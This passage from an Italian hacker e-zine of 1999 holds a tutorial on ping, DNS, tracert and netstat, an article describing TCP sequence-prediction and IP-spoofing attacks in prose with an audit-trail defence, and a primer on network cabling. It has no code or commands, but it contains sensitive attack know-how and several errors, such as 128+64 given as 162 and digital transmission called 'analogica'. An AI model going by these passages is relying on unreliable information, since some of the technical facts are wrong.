macchina pingata non risponda: C:\WINDOWS>ping cardassia Esecuzione di Ping cardassia [212.42.11.154] con 32 byte di dati: Host di destinazione irraggiungibile. Host di destinazione irraggiungibile. Host di destinazione irraggiungibile. Host di destinazione irraggiungibile. Statistiche Ping per 212.42.11.154: Pacchetti: Trasmessi = 4, Ricevuti = 0, Persi = 4 (100% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 0ms, Massimo = 0ms, Medio = 0ms C:\WINDOWS> Per questo esempio, ho modificato il mio file C:\Windows\hosts associando al nome cardassia l'indirizzo IP 212.42.11.154, totalmente inventato. Non essendoci una macchina con quel nome e quell'indirizzo collegata al mio computer, ping ha risposto col messaggio "Host di destinazione irraggiungibile." e riportando la perdita di tutti e 4 i pacchetti inviati (che si sono persi nell'iperspazio, dato che il mio computer non ha per ora schede di rete attaccate e in quel momento non ero connesso a Internet). Nel caso in cui si ottenga una risposta del genere, pero', non e' detto che la macchina destinazione sia spenta e/o scollegata dalla rete. Dal momento che il ping puo' essere usato per sferrare degli attacchi contro un computer in rete, una macchina puo' essere programmata per ignorare i ping ad essa diretti, e in tal caso l'output di ping sarebbe del tipo di quello mostrato sopra anche se la macchina remota e' funzionante e collegata alla rete. Ricordo infine che quello descritto e' il ping come funziona sul mio sistema Windows 95a con Winsock 2.2 e Accesso Remoto 1.3; con altre versioni e/o altri sistemi operativi il funzionamento o le opzioni possono differire (per esempio, sotto Unix l'invio dei pacchetti continua finche' non si termina il programma). Il DNS: dimmi come ti chiami e ti diro' che numero hai Si e' parlato sopra di alias e nomi alfanumerici, oltre che di indirizzi IP. E' utile a questo punto chiarire alcune cose a questo proposito. Anzitutto, i programmi che usiamo per la posta, il web, l'ftp e qualunque altro servizio di rete, e le implementazioni dei protocolli nei vari sistemi operativi, usano e capiscono esclusivamente gli indirizzi IP numerici di 4 byte. I nomi alfanumerici, o Alias, del tipo volftp.tin.it, invece, sono stati introdotti per facilitare l'uso dei suddetti programmi (si pensi alla scomodita' di dover ricordare o trascrivere un indirizzo di diverse cifre, rispetto alla facilita' di ricordare un nome di computer come quello arcinoto appena menzionato). E' stato quindi necessario introdurre un servizio di rete che permettesse, dato un nome alfanumerico di computer, di risalire all'indirizzo IP; tale servizio si chiama DNS (Domain Name Service), ed e' svolto da macchine che contengono dei database in cui a un nome alfanumerico viene associato un indirizzo IP. Nei sistemi Unix e Windows esiste un file "hosts" nella directory di sistema, che contiene delle righe del tipo: 127.0.0.1 localhost 212.42.11.154 cardassia.pippo.net 212.42.11.154 miocomputer.pippo.it [eccetera...] Come si vede, e' possibile associare lo stesso indirizzo IP a diversi nomi alfanumerici. Le macchine che forniscono il servizio DNS cooperano fra loro, dato che non e' possibile mettere tutto il database dei nomi in un solo computer, sia per la dimensione che per la variabilita'; nel caso di una rete aziendale la cosa sarebbe fattibile, ma Internet copre tutto il pianeta... In ogni caso, e' grazie a questo servizio che e' possibile evitare di scrivere il numero IP nella riga di indirizzo del browser, cosa che diventa invece indispensabile se il DNS del nostro provider e' temporaneamente fuori uso (succede...). In casi del genere, infatti, la rete e' perfettamente funzionante, ma qualunque nome da noi inserito risulterebbe inesistente per il client che usiamo, dato che non c'e' il server DNS che lo traduce. Traceroute: Come si arriva a un computer remoto Traceroute ("Traccia la Rotta") e' un programma che serve a determinare quale percorso segue un collegamento dal nostro computer a una qualunque altra macchina della rete. Vediamo i suoi parametri: C:\WINDOWS>tracert -? Sintassi: tracert [-d] [-h max_salti] [-j elenco-host] [-w timeout] nome_destinazione Opzioni: -d Non risolve gli indirizzi in nome host. -h max_salti Numero massimo di punti di passaggio per ricercare la destinazione. -j elenco-host Instradamento libero lungo l'elenco host. -w timeout Timeout in millisecondi per ogni risposta. C:\WINDOWS> Il nome del computer destinazione e' l'unico parametro obbligatorio. Come si puo' vedere, e' possibile specificare anche un numero massimo di tappe intermedie, una lista di macchine intermedie per cui si deve obbligatoriamente passare, e un tempo massimo di risposta. Da notare che i parametri accettati possono variare in funzione della versione del programma e del sistema operativo in cui ci troviamo. Proviamo per esempio a vedere che distanza ci separa da un server fra i piu' noti e richiesti, cioe' quello di VolFTP. Apriamo una shell (Prompt DOS se sotto Windows, bash, csh o qualunque altra se sotto Unix), e scriviamo: C:\WINDOWS>tracert volftp.tin.it Rilevazione instradamento verso cam.ca.tin.it [195.31.191.10] su un massimo di 30 punti di passaggio: 1 1787 ms 2211 ms 1721 ms pppsrv05.stm.it [195.62.32.50] 2 2610 ms 1326 ms 1348 ms world.stm.it [195.62.32.11] 3 3098 ms 2099 ms 1729 ms eth0-ibs-gw.stm.it [195.62.34.2] 4 1976 ms 3040 ms 2394 ms r-rm2-torreargentina.interbusiness.it [151.99.9.181] 5 * * * Richiesta scaduta. 6 * * * Richiesta scaduta. 7 2555 ms 1736 ms 3118 ms r-mi5-rm5-atm.interbusiness.it [151.99.101.1] 8 * * 3029 ms r-mi6-fa2.interbusiness.it [151.99.100.37] 9 2221 ms 2606 ms * r-tin-mi6-atm.interbusiness.it [151.99.107.134] 10 * * * Richiesta scaduta. 11 * * * Richiesta scaduta. 12 * * 1753 ms cam.ca.tin.it [195.31.191.10] Rilevazione completata. C:\WINDOWS> NOTA: Sotto Unix il comando non e' tracert ma traceroute. Come si puo' vedere dal messaggio introduttivo, il comando traceroute riesce a rintracciare un computer remoto se questo non e' separato dal nostro da piu' di trenta tappe intermedie (questi "punti di passaggio" in termine tecnico sono detti Hops o "salti"). Il messaggio introduttivo ci dice anche che volftp.tin.it si chiama in realta' cam.ca.tin.it e che il suo indirizzo IP e' 195.31.191.10. Di seguito il programma mostra il percorso completo che separa il computer da cui viene eseguito traceroute dal computer che si vuole tracciare. Il primo elemento della lista e' il POP a cui siamo collegati, nel caso di un collegamento tramite provider: l'esempio sopra si riferisce a un traceroute verso volftp.tin.it lanciato dal mio computer di casa (il mio provider e' Agora' Telematica). Il POP a cui ero collegato era pppsrv05.stm.it, e per arrivare da quest'ultima macchina a cam.ca.tin.it sono stati compiuti altri 11 passaggi. I numeri sulle tre colonne di sinistra indicano il tempo in millisecondi trascorso in attesa della risposta del server a cui la riga si riferisce, e l'asterisco significa che la risposta non e' arrivata entro il tempo massimo di attesa. Dal valore dei tempi di risposta si puo' intuire la bonta' del collegamento verso l'host destinazione: nell'esempio sopra riportato, lo stato del collegamento e' pessimo (addirittura tempi sopra i 3 secondi), e quindi si puo' supporre che, per esempio, un download da VolFTP in quel momento andrebbe assai lento. In alcuni casi nessuna delle tre risposte e' arrivata, per cui traceroute mostra il messaggio "Richiesta scaduta." invece del nome del server. In generale, piu' bassi sono i tempi delle tre colonne di sinistra e migliore e' la qualita' del collegamento verso la macchina destinazione. Qual e' l'utilita' di questo programma? Per esempio, se notiamo che il collegamento verso un sito web o ftp (o qualunque altro servizio) e' lento, possiamo usare traceroute per vedere il percorso seguito dai pacchetti, e in base all'output di traceroute e' possibile capire se il problema dipende dal nostro provider, dalla macchina destinazione, da una macchina intermedia o da un tratto di linea fisica che unisce due di queste. Oppure, se dobbiamo scaricare un file piuttosto pesante e conosciamo almeno 2 siti ftp che lo contengono, con traceroute possiamo stabilire da quale sito conviene effettuare il download. Netstat: chi c'e' in ascolto? L'ultimo programma di rete che esamineremo si chiama netstat, che ha i seguenti argomenti: C:\WINDOWS>netstat /? Visualizza statistiche su protocollo e connessioni di rete TCP/IP correnti. NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [intervallo] -a Visualizza tutte le connessioni e le porte di ascolto. -e Visualizza le statistiche Ethernet. L'opzione puo' essere associata all'opzione -s. -n Visualizza gli indirizzi e i numeri di porta in forma numerica. -p proto Visualizza connessioni del protocollo specificato da 'proto'; 'proto' puo' essere TCP o UDP. Se usato con l'opzione -s per le statistiche, 'proto' puo' essere TCP, UDP, o IP. -r Visualizza la tabella di routing. -s Visualizza le statistiche per protocollo. Per impostazione predefinita, le statistiche sono visualizzate per TCP, UDP e IP; l'opzione -p puo' essere utilizzata per specificare un sottoinsieme dell'impostazione predefinita. intervallo Rivisualizza le statistiche selezionate, interrompendo per un numero di secondi pari a "intervallo" tra ogni visualizzazione. Premere Control-C per fermare la visualizzazione delle statistiche. Se omesso, netstat stampera' le informazioni di configurazione correnti una sola volta. C:\WINDOWS> Il significato dei parametri opzionali e' ben spiegato nell'help in linea. Vediamo un primissimo esempio: C:\WINDOWS>netstat -na Connessioni attive Proto Indirizzo locale Indirizzo remoto Stato C:\WINDOWS> Questo e' quel che dovrebbe apparire eseguendo netstat su un computer senza servizi di rete installati e senza collegamenti attivi, cioe' nulla. Se invece, sotto tali condizioni, netstat mostra delle connessioni in ascolto, e' il caso di rivedere la configurazione del sistema e/o di cercare bene la presenza di programmi di amministrazione/intrusione remota, come i famigerati NetBus o Back Orifice. Vediamo ora alcune statistiche che e' possibile ottenere con netstat. C:\WINDOWS>netstat -na Connessioni attive Proto Indirizzo locale Indirizzo remoto Stato TCP 0.0.0.0:0 0.0.0.0:0 LISTENING TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING TCP 0.0.0.0:1036 0.0.0.0:0 LISTENING TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING TCP 0.0.0.0:1038 0.0.0.0:0 LISTENING TCP 195.62.37.17:1026 195.62.32.254:119 ESTABLISHED TCP 195.62.37.17:1028 195.62.32.254:119 ESTABLISHED TCP 195.62.37.17:1035 194.133.0.17:80 CLOSE_WAIT TCP 195.62.37.17:1036 194.133.0.17:80 CLOSE_WAIT TCP 195.62.37.17:1037 194.133.0.17:80 CLOSE_WAIT TCP 195.62.37.17:1038 194.133.0.17:80 CLOSE_WAIT C:\WINDOWS> Qui ho chiesto a netstat di mostrare tutte le connessioni attive usando gli indirizzi numerici per la macchina locale e quella remota. Omettendo l'opzione "n" avremmo ottenuto i nomi alfanumerici sia per i computer che per le porte (i numeri dopo il ":"), cosa che avrebbe reso un po' piu' lunga l'esecuzione di netstat a causa delle necessarie richieste al DNS. Tralasciando le righe con indirizzi 0.0.0.0, il significato di questo output e' che nel momento in cui netstat e' stato eseguito c'erano in corso due connessioni al server di news (porta 119 remota), mentre erano in fase di chiusura 4 connessioni a un sito web (porta 80 remota). Se le righe di netstat usato con queste opzioni terminano con ESTABLISHED, denotano una connessione attiva, su cui stanno viaggiando dati; LISTENING indica un demone, detto anche server, che e' in attesa di connessioni su una determinata porta, mentre CLOSE_WAIT e TIME_WAIT indicano una connessione in via di chiusura, in diverse fasi del procedimento. Da notare che su un computer domestico, in condizioni normali, non dovrebbero esserci righe che terminano con LISTENING. Un'eccezione e' costituita da macchine su cui e' installato e in esecuzione il famigerato Personal Web Server (TM) di Microsoft, che permette di gestire un sito web "casalingo" e come tutti i server web si mette in ascolto sulla porta 80. Piu' grave e' il caso in cui "qualcosa" risulti in ascolto su porte oltre la 1023, in particolare su numeri molto alti (per esempio 31337 o 12345). In questi casi, occorre controllare che non ci siano intrusi nel sistema, soprattutto se non si ha ICQ, altro programma che ascolta su porte alte. Per quel che riguarda le porte, sia Windows che Unix hanno nella directory di sistema un file di nome "services" che contiene la mappatura dei servizi standard, come il web, la posta e le news (e molti altri), situati su porte <1024. C:\WINDOWS>netstat -es Statistiche interfaccia Ricevuti Trasmessi Byte 349919 56810 Pacchetti unicast 881 769 Pacchetti non-unicast 10 10 Scarto 0 0 Errori 0 0 Protocolli sconosciuti 23 Statistiche IP Pacchetti ricevuti = 882 Errori di intestazione ricevuti = 0 Errori di indirizzo ricevuti = 5 Datagrammi inoltrati = 0 Protocolli sconosciuti ricevuti = 0 Pacchetti ricevuti scartati = 0 Pacchetti ricevuti consegnati = 882 Richieste di output = 774 Routing scartati = 0 Pacchetti di output scartati = 0 Pacchetti output senza route = 0 Richieste di riassemblaggio = 0 Riassemblaggi riusciti = 0 Errori di riassemblaggio = 0 Datagrammi frammentati = 0 Errori frammentazione datagrammi = 0 Frammenti creati = 0 Statistiche ICMP Ricevuti Trasmessi Messaggi 23 23 Errori 0 0 Desti. irraggiungibile 0 0 Tempo scaduto 0 0 Problemi di parametro 0 0 Quench sorgente 0 0 Reindirizzamenti 0 0 Echo 8 12 Risposte echo 12 8 Marcature orario 0 0 Risposte marcatura orario 0 0 Mask indirizzo 0 0 Risposte mask indirizzo 0 0 Statistiche TCP Aperture attive = 10 Aperture passive = 0 Tentativi connessione non riusciti = 0 Connessioni reimpostate = 4 Connessioni correnti = 6 Segmenti ricevuti = 852 Segmenti trasmessi = 725 Segmenti ritrasmessi = 19 Statistiche UDP Datagrammi Ricevuti = 5 Nessuna porta = 15 Errori in ricezione = 0 Datagrammi trasmessi = 5 C:\WINDOWS> Le opzioni "e" ed "s" forniscono delle statistiche riassuntive sulla connessione in generale, e le denominazioni dei vari valori sono abbastanza esplicative. Esaminando questo output si puo' capire la bonta' della nostra connessione e della nostra linea. C:\WINDOWS>netstat -r Tabella di Route Route attive: Indirizzo rete Maschera Indirizzo gateway Interfac. Metric 0.0.0.0 0.0.0.0 195.62.38.6 195.62.38.6 1 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 195.62.38.0 255.255.255.0 195.62.38.6 195.62.38.6 1 195.62.38.6 255.255.255.255 127.0.0.1 127.0.0.1 1 195.62.38.255 255.255.255.255 195.62.38.6 195.62.38.6 1 224.0.0.0 224.0.0.0 195.62.38.6 195.62.38.6 1 255.255.255.255 255.255.255.255 195.62.38.6 195.62.38.6 1 Connessioni attive Proto Indirizzo locale Indirizzo remoto Stato TCP bejor:1026 news.stm.it:nntp ESTABLISHED TCP bejor:1028 news.stm.it:nntp ESTABLISHED C:\WINDOWS> Infine, l'ultimo output esaminato ci permette di avere una "mappa stradale" della rete nei dintorni del nostro computer. La seconda riga e' relativa all'indirizzo locale, mentre le successive danno indicazioni su come il nostro computer riesce ad andare in rete, cioe' su quale macchina funge da "cancello" (gateway) verso la rete. Conclusioni Questa piccola rassegna non pretende di esaurire l'argomento, per il quale occorrerebbe un'intera enciclopedia, ma e' un punto di partenza che la curiosita' personale puo' eventualmente approfondire. Segnalate pure errori o imprecisioni, il mio indirizzo web e' in fondo all'articolo. Per chi mastica l'inglese, una raccolta utile di documenti in cui vengono esposti i vari servizi della rete, fra cui quelli citati qui, e' costituita dalle RFC, file di testo che contengono i dettagli dei vari protocolli e i comandi che ognuno di essi accetta... scoprite per esempio come si puo' leggere la posta da un terminale carattere (come il Prompt MS-DOS) facendo telnet sulla porta 110. Ciaociao. :-))) e-mail: M.Baldinelli@agora.stm.it home page di Security FAQ: http://members.xoom.com/gouldukat/ ͻ Ŀ DALLA PARTE DEI SYSADMIN ٺ ͼ Articolo redatto da Alpha-666 o Zeros 30/04/1999 12.36 AM Irc.tin.it #hackernow Parte n1. Nonostante questo articolo sembri in contro tendenza con l'argomentazione generare proposta nell'e-zine, esso puo' dare una maggiore visione d'insieme sulle tecniche di attacco e difesa di un server. Per cominciare esistono differenti tipi di attacchi: 1) l'attacco a previsione della sequenza di numeri dei protocolli TCP/IP rappresenta la forma piu' semplice di attacco; 2) il dirottamento di sessioni TCP rappresenta la piu' grave minaccia per i sistemi sicuri; 3) lo "sniffing" dei pacchetti in passaggio nella rete in genere precede un dirottamento o uno "spoofing" 4) con lo sfoofing, l'hacher si sostituisce a un indirizzo IP per emulare un server fidato in una connessione di rete esistente; 5) gli attacchi passivi, che fanno uso di "sniffer", sono attualmente molto comuni in Internet; 6) molti attacchi si concentrano sulla violazione o sull'alterazione delle trasmissioni trasmissioni HTTP o delle connessioni TCP in corso; 7) attaccare installazioni di server SSL (Secure Socket Layer) gli attacchi possono utilizzare la tecnica hyperlink spoofing; 8) la tecnica del Web-spoofing offre agli hacker il modo di intercettare tutte le trasmissioni che un utente o un server si scambiano durante una serie di transazioni HTTP; Spiegazione: 1) Il tipo piu' semplice. Ogni computer della rete ha un proprio IP univoco, infatti ogni computer connesso ad una rete allega a ogni pacchetto trasmesso l'indirizzo IP di destinazione e un numero univoco chiamato numero di sequenza. All'interno di una connesione TCP; il computer ricevente accetta solo pacchetti con l'indirizzo IP e il numero di sequenza corretto. Inoltre molti dispositivi di sicurezza, inclusi i router, consentono trasmissioni in rete solo verso e da computer con determinati indirizzi IP. L'attacco a previsione del numero di sequenza TCP/IP utilizza il modo in cui le rete indirizzano i computer e creano la sequennza di pacchetti. In pratica l'hacker esegue l'attacco a previsione del numeri di sequenza TCP/IP in due fasi. Nella prima fase cerca di determinare l'indirizzo IP del server, generelmente mettendosi in ascolto dai pacchetti Internet, provando a specificare in ordine vari numeri di host oppure connettendosi al sito mediate browser Web e osservando l'indirizzo IP nella barra di stato. Poiche' l'hacker sa che gli altri computer della rete condividono una parte di indirizzo IP del server, cerchera' di simulare un indirizzo IP che gli consenta di by-passare il router e di accedere al sistema come fosse un utente interno. Ad esempio un sistema ha l'indirizzoo IP 192.0.0.17, sapendo che in una rete di Classe C vi possono essere fino a 256 computer, potra' carcare di indivinare gli indirizzi modificandone solamente l'ultimo byte. Naturalmente come tutti sanno gli indirizzi IP specificano quanti computer sono connessi alla rete. In questo caso la somma dei due bit piu' significativi (128+64=162) nel byte piu' elevato indica che la rete e' di classe C. Dopo che l'hacker avra' iniziato a trovare gli indirizzi della rete, iniziera' anche a controllare i numeri si sequenza dei pacchetti che si trasmettono tali computer. Dopo aver monitorizzato le trasmissioni della rete, l'hacker cerchera' di prevedere il prossimo numero di sequenza inserendosi fra il server e l'utente. Poiche' esso ha gia' l'indirizzo IP che gli consentono di intercettare le trasmissioni con l'utente. Quindi avuto l'accesso al sistema tramite tale attacco, puo' accedere alla info che il sistema di comunicazione trasmette al server, inclusi i file password, nomi di login, dati riservati, ecc. In genere si usa questo tipo di attacco come preparativo per l'attacco vero e proprio al server oppure come base per l'attacco di un'altro server della rete. Questo e' quello che ha fatto l'hacker ora vediamo come il sysadm si difenda da tale attacco. Infatti il modo piu' semplice ed efficace per difendersi da questo tipo di attacco consiste nell'assicurarsi che il router, i firewall e ogni server del sistema abbiano attivato la protezione audit-trail. Gli audit-trial sono programmi che permettono di visualizzare l'attivita' dell'hacker che tenta di attraversare il router e il firewall e quando tenta di accedere al server. L'audi-trai mosta una sequenza di questo tipo: Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Gli audit-trial e i successivi metodi di attacco verranno trattati nel successivo articolo. Alpha-666 ͻ Ŀ L'ABC DELLE RETI ٺ ͼ PREMESSA = io non so niente, non sono un hacker, non ho nulla da insegnare a chi ha iniziato + di un mese fa quindi non venitemi a dire che dico cose che sapete gia' xche' io vi avevo avvertito :PPP Allora e' chiaro che ci sono molti libri sull'argomento che andro' a trattare ma e' anke vero che dato che mi sto studiando queste cose, posso unire l'utile al dilettevole parlandovi di cio' che sto imparando ;) Allora la prima cosa che dobbiamo sapere se vogliamo farci una rete casalinga o nell'azienda in cui lavoriamo [ se ci chiedono di farla magari :))) ] e' il conoscere i mezzi + comuni utilizzati x trasmettere segnali da un pc a un altro e i modi secondo i quali si devono collegare i mezzi trasmissivi. ********************___---=== MEZZI TRASMISSIVI ===---____******************** I + comuni mezzi che possiamo trovare sono essenzialmente tre: - cavi di rame -----> [trasmissione di segnali elettrici] - fibre ottiche ----> [trasmissione della luce] - atmosfera --------> [trasmissione di luce e delle onde radio ultimamente molto trattate] Prima di tutto bisogna sapere che le trasmissioni possono essere effettuate in modo: - digitale - analogico Allora vediamo di analizzare queste due forme. ___---===TRASMISSIONE ANALOGICA===---____ Tale trasmissione e' costituita da un segnale che puo' variare in ampiezza [ cioe' a livello di energia ] e in frequenza [ cioe' il numero di volte che l'ampiezza cambia in un determinato intervallo di tempo ]. Da cio' si deduce che la trasmissione analogica in un dato intervallo di tempo potra' assumere un numero di valori infinito o quasi... Partendo da questo si deduce facilmente che anke piccole variazione [ di volume o tono ] possono dare un significato diverso [ e quindi errato ] ai nostri dati. Questo tipo di sistema di comunicazione quindi risulta essere da una parte efficace e vario poiche' ad ogni ciclo possiamo trasmettere informazioni aggiuntive, ma si sa che le cose non vanno sempre come dovrebbero e se ci fosse anke la minima perdita di dati tutto il msg / dato trasmesso / trasferito sarebbe illeggibile e quindi inutile. Questo problema della t. a. deriva principalmente dalla sensibilita' al rumore, la quale aggiunge o toglie dati imprevisti che rischiano insomma di mandare il tutto a puttane diciamo ;) Un esempio x comprendere cio' e' parlare con una persona in una stanza affollata, dove cio' che dice il ns interlocutore, se le voci sono tante, sara' o non capito o scambiato x un altra cosa. In entrambi i casi sarebbe spontaneo dire "Che cosa scusa?" e tra i pc cio' implica il rimandare tutti i dati dal primo all'ultimo, con, ovviamente, la perdita di tempo che magari avremmo dedicato a un altro trasferimento o ad un incontro non platonico con un altro essere umano del sesso opposto...hihihi Riporto qua sotto un paio di esempi di t.a. andata a buon fine e un esempio di segnale disturbato ESEMPIO DI TRASMISSIONE ANALOGICA STESSO ESEMPIO DI TRASMISSIONE ANDATA A BUON FINE ANALOGICA CON INTERFERENZE ^ ^ | /-\ | | | | | /-\ | | | | | | | | /-\ / - \ | | /-\ | | \ / \ / ||||||ͳ\|| e cosi' via | | \_/ | | / / \_/ \_/ | / |/ Dato che so gia' che non avrete capito (causa mia capacita' di rendere difficile anke la peggior cazzata eheheh) cmq, cerchero' di spiegare come l'ho capito io. Pensate di dare un numero ad ogni tonalita' di voce. Cio' di certo permettera' di avere un sacco di numeri. Ma sara' anke vero che se noi (pc1) abbiamo un piccolo calo di voce il sistema che registra la nostra voce (pc2) avra 2 possibili conseguenze: o riconoscera' il tono come un altro (scambiera' i toni) oppure non riuscira' a riconoscerlo come tale e quindi pensera' di non aver sentito nessun tono. Spero di essere stato + chiaro con questo esempio xche' nella definizione di t.a. qualke beta tester delle e-zine mi aveva detto che avevo parlato un po' in arabo eheheheh ovviamente NON in base a mie esperienze ma in base a + fonti (libri, riviste, bliblioteca). ___---===TRASMISSIONE DIGITALE===---____ A differenza della trasmissione analogica [e FORSE proprio x risolvere i problemi derivanti dalla stessa] e' stato creato un altra forma di trasmissione detta analogica che comunica col sistema binario (ebbene si' i famosi 0 e 1!!!). In un circuito elettrico di solito lo zero e' rappresentato da una tensione nulla [zero volt] e l'uno e' rappresentato da una tensione di cinque volt. Si nota subito quindi che il sistema analogico ha un insieme infinito di possibili valori a differenza del sistema digitale che ha solo lo 0 e l'1, con i quali crea una serie di schemi precisi [es: A --> 01000001]. Ogni singolo impulso digitale e' detto bit, e 8 bit fanno un byte (ma dai!!!). Il byte risulta essere quindi la unita' base della trasmissione digitale e [in teoria] ogni byte rappresenta una info completa quale una lettera o un numero. Premesso che la distanza tra i due valori possibili e' ampia ne deriva che anke se il segnale e' disturbato si riuscira' cmq a distinguere se il valore e' 0 o 1 a differenza di prima dove ad ogni ampiezza corrispondeva un valore diverso. Alla fine di tutta sta botta de cultura quindi direte "cavolo ma allora xche' si usa l'analogica???" e la risposta sara' che se e' vero che con la trasmissione digitale siete sicuri e' anke vero che se dovete mandare la lettera A a un altro pc dovrete comunicare ben 8 bit [quindi otto segnali] mentre con la trasmissione analogica basterebbe comunicare un singolo valore corrispondete alla lettera A :) Un altro vantaggio del formato digitale e' che i dati trasferiti sono interpretati correttamente da entrambi i computer xche' gia' in forma binaria, mentre con la trasmissione analogica i dati prima di essere mandati devono essere convertiti da digitali a analogici e una volta arrivati viceversa (da a. a d.), x mezzo di un apposito dispositivo conosciuto ai piu' con il nome di... modem :-))) Ora diamo un'okkiata ai vari mezzi trasmissivi i quali sono principalmente: - il CAVO COASSIALE - il DOPPINO TELEFONICO - le FIBRE OTTICHE - l'ETERE ___---===CAVO COASSIALE===---____ Il cavo coassiale e' ben protetto fisicamente data la sua guaina esterna molto resistente che impedisce il danneggiamento del cavo. E' costituito principalmente da un filo di rame avvolto da materiale dielettrico (cioe' isolante, cattivo conduttore di elettricita'), ricoperto da un cavo intrecciato protetto da uno strato di plastica. Si chiama coassiale xche' il cavo usa due conduttori (quello di rame e quello di protezione) che stanno sullo stesso asse. I connettori dei cavi coassiali sono chiamati connettori BNC (Bayonet Neill-Concelman). Sono facili da collegare e scollegare. Lo schema di una rete coassiale e' detto "topologia a dorsale / bus", poiche' un singolo cavo si estende da sistema a sistema, collegando le diverse macchine in successione,le quali si collegano a loro volta al circuito con un connettore BNC a forma di T. Tale connettore e' dotato di due accoppiatori dedicati alla connessione fisica del cavo e usa un 3 accoppiatore x collegarsi alla scheda di rete (NIC = Network Interface Card) che ovviamente deve essere presente nel pc :P. I due capi del circuito terminano con un dispositivo detto terminatore, che devia a terra tutti i segnali elettrici assicurando che nessuno possa essere riflesso lungo il cavo. I terminatori possono essere di 2 tipi, normali o provvisti di una piccola catena metallica. Il secondo puo' essere usato a una sola delle estremita' del circuito. La catena metallica serve x picchiare chi vi sta sui cog...ops scusate credevo di essere nella sezione anarchy eheheh... cmq dicevamo che questa catena serve da messa a terra e assicura che la tensione del cavo intrecciato rimanga sempre a zero volt e le interferenze RFI (radiointerferenza che ha luogo quando due segnali incidenti hanno proprieta' simili) vengano scaricate. Vediamo (in breve) vantaggi e svantaggi dell'uso dei cavi coassiali nella propria rete di casa e / o azienda: VANTAGGI - resistenza alle interferenze (resiste a EMI e RFI) - protezione fisica (+ resistente dei doppini telefonici) - basso costo (nei negozi di elettronica poche centinaia di lire al metro) SVANTAGGI - topologia rigida (i cavi non sono flessibili come i doppini) - scalabilita' limitata (se si aggiunge una macchina bisogna bloccare la rete) - bassa tolleranza agli errori (un guasto puo' bloccare l'intero segmento) - scarsa larghezza di banda (supp. tecnologia Ethernet a 10Mbps; no 100Mbps) ___---===DOPPINO TELEFONICO===---____ Usato x trasmettere dati e voce il doppino telefonico ha avuto molto successo perche' e' supportato da quasi tutte le topologie di LAN (Local Area Network). Il d.t. e' composto da 4 coppie di conduttori. Il cavo puo' essere singolo o intrecciato. Ogni conduttore e' rivestito di uno strato plastico colorato cosi' da facilitarne l'individuazione. Le reti che fanno uso di doppini telefonici di solito hanno una topologia a stella. In questo tipo di rete tutte le varie macchine vengono cllegate ad un HUB (o concentratore), cioe' un dispositivo centrale. Collegando a loro volta i diversi HUB si possono creare reti + grandi con il grande vantaggio che se vi e' un guasto al massimo influenza la propria sotto-rete senza mettere in crisi l'intero sistema di reti. Altra cosa positiva e' il fatto che un utente non e' in grado di bloccare l'intera rete se si disconnette dal circuito (cosa che succedeva con i cavi coassiali). Un altra cosa che secondo me e' uno dei maggiori vantaggi del d.t. e' il fatto che questo supporta le comunicazioni FULL DUPLEX consentendo cosi di passare da una capacita' di elaborare da 10 Mbps a 20 Mbps (esempio). Cosa e' sto full duplex direte voi? PS: le trasmissioni possono avvenire in SIMPLEX (come le radio, cioe' il trasferimento dei dati [ voce / musica ] avviene solo in una direzione) oppure in HALF DUPLEX E FULL DUPLEX che tentero' di spiegare qui sotto. Allora se lo sapete non leggete :P altrimenti sappiate che di solito le trasmissioni nelle reti tra computer avvengono in HALF DUPLEX cioe' proprio come i CB (City Band) se un computer/persona trasmette/parla allora l'altro computer/persona puo' solo ascoltare, e se tenta di trasmettere/parlare a sua volta i due segnali si interferiscono. Il FULL DUPLEX quindi assomiglia a una telefonata dove i due interlocutori possono parlare entrambi senza problemi. Ovviamente il full duplex non e' possibile solo con i doppini telefonici, ma essi sono gia predisposti x esso mentre x altri cavi x supportare il full duplex bisogna stendere un ulteriore cavo. Ora faccio un elenchetto di vantaggi e svantaggi x i doppini telefonici: VANTAGGI - largamente utilizzati (sono il mezzo trasmissivo + popolare) - facilmente installabili (la sua flessibilita' consente di stenderlo ovunque) - ottima tolleranza agli errori (se c'e' un guasto non va a puttane la rete :) - notevole larghezza di banda (unico mezzo di trasmissione a supportare half duplex e full duplex senza l'aggiunta di un altro cavo) - costano poco (i + economici sul mercato, anke se i cavi CAT 5 costano di +) SVANTAGGI - lunghezza (puo' essere lungo max 100 metri) - bassa resistenza alle interferenze (causate da luci fluorescenti, trasformatori, dispositivi dotati di motore elettrico e dispositivi che trasmettono segnali, come ad esempio le antenne radio) ___---===FIBRE OTTICHE===---____ Il cavo in fibra ottica e' costituito da un filo cilindrico di vetro del diametro di 62,5 micron, coperto da una placcatura metallica che protegge il nucleo centrale e riflette la luce all'interno del conduttore. Il tutto e' circondato da uno strato di kevlar (e' lo stesso materiale usato per fare i giubbotti antiproiettili!!!) e da uno strato di PVC. Diversamente dai cavi appena trattati le fibre ottiche usano la luce x trasmettere i dati. La sorgente della radiazione luminosa e' in genere un diodo (LED = Light Emitting Diode) che produce un segnale visibile nel campo dell'infrarosso. Dall'altra parte vi e' un altro diodo che riceve l'impulso luminoso. La trasmissione puo' essere di due tipi, a modalita' singola o a modalita' multipla. A modalita' singola la fibra e' composta da un solo LED che tramette un segnale luminoso a una sola frequenza, trasmessa in una serie di impulsi (emula il formato digitale). Il vantaggio e' la velocita' e lo svantaggio il fatto che l'hardware costi parecchio e che l'installazione sia tosta (se non sbaglio). A modalita' multipla invece usa diverse frequenze luminose. Il vantaggio e' il fatto che l'hardware non e' cosi' costoso e lo svantaggio e' il fatto che si puo' disperdere il segnale. Entrambi le fibre ottiche sono immuni a interferenze EMI e RFI e anke le luci fluorescenti e i trasformatori non provocano alcun problema. La fibra ottica raggiunge senza problemi capacita' di trasferimento pari a 655 Mbps con ATM e 1 Gbps con le nuove specifiche Ethernet (azz!!!). Una pecca pero' di questi cavi e' il fatto di potere comunicare in un unica direzione. Proprio x questo motivo i cavi di questo tipo sono utilizzati in coppia, dove ciascun cavo trasmette in una sola direzione. Le connessione sono di solito etichettate come Tx (x la trasmissione) e RX( x la ricezione). La 